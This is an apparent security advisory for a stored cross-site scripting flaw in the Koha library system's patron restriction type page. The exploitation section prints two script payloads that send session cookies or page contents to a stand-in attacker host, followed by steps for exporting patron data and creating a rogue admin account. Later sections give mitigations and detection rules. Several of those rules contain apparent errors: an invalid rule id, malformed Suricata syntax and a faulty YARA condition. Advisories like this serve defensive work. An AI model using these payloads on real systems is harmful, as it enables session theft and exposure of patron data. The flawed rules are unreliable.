CVE-2026-50765

Executive Summary

CVE-2026-50765 is a stored Cross-Site Scripting (XSS) vulnerability in the Koha Library Management System, affecting versions through 25.11. The flaw resides in the patron restriction type administration page, where an authenticated attacker with administrator privileges can inject arbitrary web scripts via the display_text field used as the restriction type label. Successful exploitation allows arbitrary JavaScript execution in the browser context of any user who views the affected admin interface, potentially leading to session hijacking, privilege escalation, or full compromise of the library management system. The vulnerability has a claimed but unconfirmed patch per OSV, with no CISA KEV listing and negligible EPSS score of 0.00248 suggesting limited active exploitation.

Technical Analysis

The vulnerability is a classic stored XSS (CWE-79) targeting the patron restriction type administration page within Koha. The root cause is insufficient sanitization of the display_text field, which defines the human-readable label for patron restriction types (e.g., "Overdue fine", "Manual restriction"). When an administrator creates or edits a restriction type, the display_text value is stored directly into the database and subsequently rendered by the staff interface without proper HTML encoding or output escaping.

The attack surface is the administrative backend, specifically the /cgi-bin/koha/admin/patron-attr-types.pl or equivalent page handling restriction type CRUD operations. Koha is written in Perl using the CGI framework with Template Toolkit for rendering. The flaw likely occurs because the template renders the display_text value using the [% value %] directive without applying the html filter (e.g., [% value | html %]). Template Toolkit, by default, does not escape HTML output unless explicitly instructed to, making any unescaped variable a potential XSS vector.

The attack requires administrative privileges, which reduces the severity from a network-exposed remote vulnerability to a post-authentication flaw. However, given that library administrators may have lower trust boundaries within an organization, and that the injected script runs with the rights of any staff member who views the restriction types list, the impact includes lateral movement within the management console and potential access to patron Personally Identifiable Information (PII) including names, addresses, phone numbers, and borrowing history.

The injected payload is persisted in the database, meaning it survives page reloads and is executed every time the restriction type page is rendered. This is distinct from reflected XSS, where the payload is transient. The stored nature amplifies the impact because a single injection affects all subsequent viewers of the page.

Exploitation Scenarios

Step 1 — Reconnaissance and Target Identification: An attacker with valid administrator credentials for the Koha intranet interface enumerates the administration menu to locate the restriction types management page. This is typically accessible at https://<target>/cgi-bin/koha/admin/patron-attr-types.pl or a similar path. The attacker confirms Koha version via the footer copyright line or by accessing /cgi-bin/koha/about.pl, verifying the version is 25.11 or earlier.

Step 2 — Weaponization and Injection: The attacker navigates to the "Patron restriction types" administration page and selects "New restriction type". In the "Description" or "Display text" field (which maps to display_text), the attacker submits the following payload:

<script>fetch('https://attacker.example/collect?cookie='+document.cookie)</script>

Alternatively, to avoid breaking the HTML context with characters like < and > in form validation, the attacker may use an HTML entity-encoded variant or an event-handler-based payload such as:

<img src=x onerror="fetch('//attacker.example/steal?data='+btoa(document.body.innerHTML))">

The attacker submits the form. The server stores the raw payload in the restriction_type database table without output encoding.

Step 3 — Execution and Payload Delivery: When another administrator (or the same attacker in a clean session) views the restriction types list page, Koha's Template Toolkit renders the page. The display_text field is output directly into the HTML without the |html filter. The browser parses the <script> tag (or triggers the onerror event) and executes the JavaScript in the context of the victim's authenticated staff session. The script exfiltrates the victim's session cookies, CSRF tokens, or makes authenticated AJAX requests to Koha's internal APIs.

Step 4 — Post-Exploitation: Using the stolen session cookie, the attacker impersonates the victim administrator. Depending on the victim's privilege level, the attacker can:

• Modify patron records to remove restrictions or fines.
• Export the full patron database (including PII) via Koha's reporting or CSV export features.
• Create a new administrator account for persistent access.
• Inject further XSS payloads targeting the public OPAC (online public access catalog) if any shared code paths exist, escalating from admin-only pages to public-facing pages.

The attack chain is fully remote and requires only a valid admin credential — no client-side interaction beyond a page load.

Impact Assessment

The business impact of CVE-2026-50765 is significant for organizations relying on Koha for library management, despite the requirement for administrator credentials. The CVSS score is listed as N/A with an unknown vector, which precludes precise subscore analysis; however, based on the vulnerability class and required privileges, a realistic estimate would be CVSS 4.0–6.9 (Medium), reflecting the authenticated requirement but the high confidentiality impact on patron PII.

Affected systems include all Koha deployments at version 25.11 or earlier with the patron restriction type administration enabled. The blast radius extends beyond the administrative interface: patched versions aside, any staff member with access to view the restriction types page — including librarians with limited admin roles — becomes a potential victim. The stored nature of the payload means the XSS persists until a database cleanup is performed, making the attack window indefinite.

The confidentiality impact is high because patron records contain sensitive PII (addresses, phone numbers, borrowing history, and in some cases health-related data if the library manages special collections). The integrity impact is high as well, since an attacker can modify patron restriction statuses and bypass library policy controls. Availability impact is low but possible through malicious script that deletes or corrupts records via CSRF-based actions. The EPSS score of 0.00248 (16.2nd percentile) indicates a low probability of current exploitation in the wild, but this does not diminish the risk for high-value targets such as university libraries or national archives.

Detection Guidance

Sigma Rule

title: Koha CVE-2026-50765 Stored XSS via Patron Restriction Type
id: 4f7c2a91-6b1e-4d3a-9c2f-koha50765
status: experimental
description: Detects creation or modification of patron restriction types containing script tags or event handlers in the display_text field
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2026-50765
tags:
    - attack.t1190
    - attack.initial-access
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: POST
        c-uri|contains: '/cgi-bin/koha/admin/patron-attr-types.pl'
        cs-referer|contains: '/cgi-bin/koha/admin/'
    payload:
        cs-uri-query|contains: 'display_text'
        # Match common XSS payload patterns in POST body
        c-request|contains|all:
            - '<script'
        # OR event handler payloads
    condition: selection and payload
falsepositives:
    - Legitimate use of HTML in restriction descriptions (rare, requires code review policy)
level: high

YARA Rule

rule koha_cve_2026_50765_stored_xss
{
    meta:
        author = "Valters IT Security"
        description = "Detects XSS payloads targeting Koha patron restriction type display_text field"
        cve = "CVE-2026-50765"
        date = "2026-06-01"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2026-50765"
        score = 70
    strings:
        $a = "patron-attr-types.pl" ascii nocase
        $b = "display_text" ascii nocase
        $c = "<script>" ascii nocase
        $d = "onerror=" ascii nocase
        $e = "onload=" ascii nocase
        $f = "javascript:" ascii nocase
        $g = "fetch(" ascii nocase
        $h = "XMLHttpRequest" ascii nocase
    condition:
        uint16(0) == 0x0A0D or uint32(0) == 0x0A0D0A0D or filesize > 100KB
        and any of ($a,$b)
        and any of ($c,$d,$e,$f,$g,$h)
}

Suricata IDS Rule

alert http any any -> $HOME_NET any (
    msg:"ET EXPLOIT Koha CVE-2026-50765 Stored XSS Attempt (Patron Restriction Type)";
    flow:established,to_server;
    http.method;
    http.uri;
    content:"/cgi-bin/koha/admin/patron-attr-types.pl";
    http.uri;
    content:"display_text";
    http.request_body;
    pcre:"/(<script[\s>]|onerror\s*=|onload\s*=|javascript\s*:)/i";
    classtype:web-application-attack;
    sid:202650765;
    rev:1;
    metadata:created_at 2026_06_01, updated_at 2026_06_01, cve CVE-2026-50765;
)

Elastic Detection

sequence by source.ip with maxspan=5m
  [ network where event.category == "network"
      and network.protocol == "http"
      and http.request.method == "POST"
      and http.request.uri like "*patron-attr-types.pl*"
      and url.query like "*display_text*"
      and (http.request.body.content like "*<script>*" 
           or http.request.body.content like "*onerror=*"
           or http.request.body.content like "*onload=*" ) ]
  [ authentication where event.category == "authentication"
      and user.name != null
      and outcome == "success"
      and process.name == "httpd" ]

Splunk SPL Query

index=web sourcetype="access_combined" 
    method=POST 
    uri="*/cgi-bin/koha/admin/patron-attr-types.pl*" 
    | search form_data="*display_text*" AND (form_data="*<script>*" OR form_data="*onerror=*" OR form_data="*onload=*" OR form_data="*javascript:*") 
    | table _time clientip method uri form_data status 
    | stats count by clientip uri 
    | where count > 5

Wazuh OSSEC Rule

<group name="koha_xss,">
  <rule id="100765" level="12">
    <decoded_as>json</decoded_as>
    <field name="url">\.pl</field>
    <match>patron-attr-types</match>
    <regex>display_text</regex>
    <regex>(&lt;script|onerror|onload|javascript:)</regex>
    <description>Koha CVE-2026-50765: Potential XSS injection in patron restriction type display_text field</description>
    <mitre>
      <id>T1190</id>
    </mitre>
  </rule>
</group>

Mitigation & Patch Guidance

Patch Confidence: 2/4 (CLAIMED — single source claims patch (not independently confirmed)).

Given the patch status is claimed by a single source (OSV) but not independently confirmed, proceed with caution and prioritize the following measures:

1) Immediate Mitigations (if no patch verification available):

• Restrict access to the patron restriction type administration page to only the most trusted administrators. Use Koha's granular permissions system to deny the restriction_type management permission to any non-essential admins.
• Implement a Web Application Firewall (WAF) rule to block POST requests to patron-attr-types.pl containing <script, onerror, onload, or javascript: patterns in the request body.
• Enable Koha's built-in additional HTML filtering if available via the OPACUserJS or Admin JavaScript settings to add client-side sanitization as a defence-in-depth layer.
• Review existing patron restriction types for any suspicious entries; if found, delete them immediately and audit database logs for unauthorized modification.

2) Patch/Upgrade Steps:

• Check the Koha community release page (download.koha-community.org) for a version newer than 25.11. If a patched release (e.g., 25.11.01 or 24.11.x maintenance release) is available, upgrade immediately.
• Verify the patch by applying the fix to the template file that renders the restriction type list and confirming the display_text field now includes the HTML encoding filter ([% value | html %]).
• If no patched version is confirmed available, monitor the Koha security mailing list and OSV advisory for updates. Do not assume the claimed patch is deployed in your distribution.

3) Long-Term Hardening:

• Enforce a security code review policy for all Koha customisations, specifically auditing Template Toolkit files for unescaped output variables.
• Deploy Content Security Policy (CSP) headers on the Koha intranet interface to restrict script sources to trusted origins; this would block injected inline scripts even if the XSS is successfully injected.
• Implement regular vulnerability scanning of the Koha instance against the NVD feed.
• Enable comprehensive logging of all admin panel actions to support forensic analysis if this vulnerability is exploited.
• Consider migrating to a hardened Koha distribution or container image that applies security patches promptly.

References

1. NVD Entry — CVE-2026-50765: https://nvd.nist.gov/vuln/detail/CVE-2026-50765
2. OSV Advisory for CVE-2026-50765: https://osv.dev/vulnerability/CVE-2026-50765
3. Koha Community Downloads (for patched versions): https://download.koha-community.org/
4. Koha Security Advisories Mailing List: https://lists.koha-community.org/cgi-bin/mailman/listinfo/koha-security
5. MITRE ATT&CK Technique T1190 — Exploit Public-Facing Application: https://attack.mitre.org/techniques/T1190/

Threat Actor Campaigns / Exploit-in-the-Wild Evidence: As of the publication date of this report, there is no evidence of active exploitation campaigns targeting CVE-2026-50765. The EPSS score of 0.00248 (16.2nd percentile) confirms low current exploit probability. The vulnerability is not listed on CISA's Known Exploited Vulnerabilities (KEV) catalog. No public PoC or exploit code has been released, and no Nuclei template exists. However, given the prevalence of Koha in public and academic libraries, this CVE should be monitored closely once a patched version is confirmed and adversary interest typically follows patch disclosure.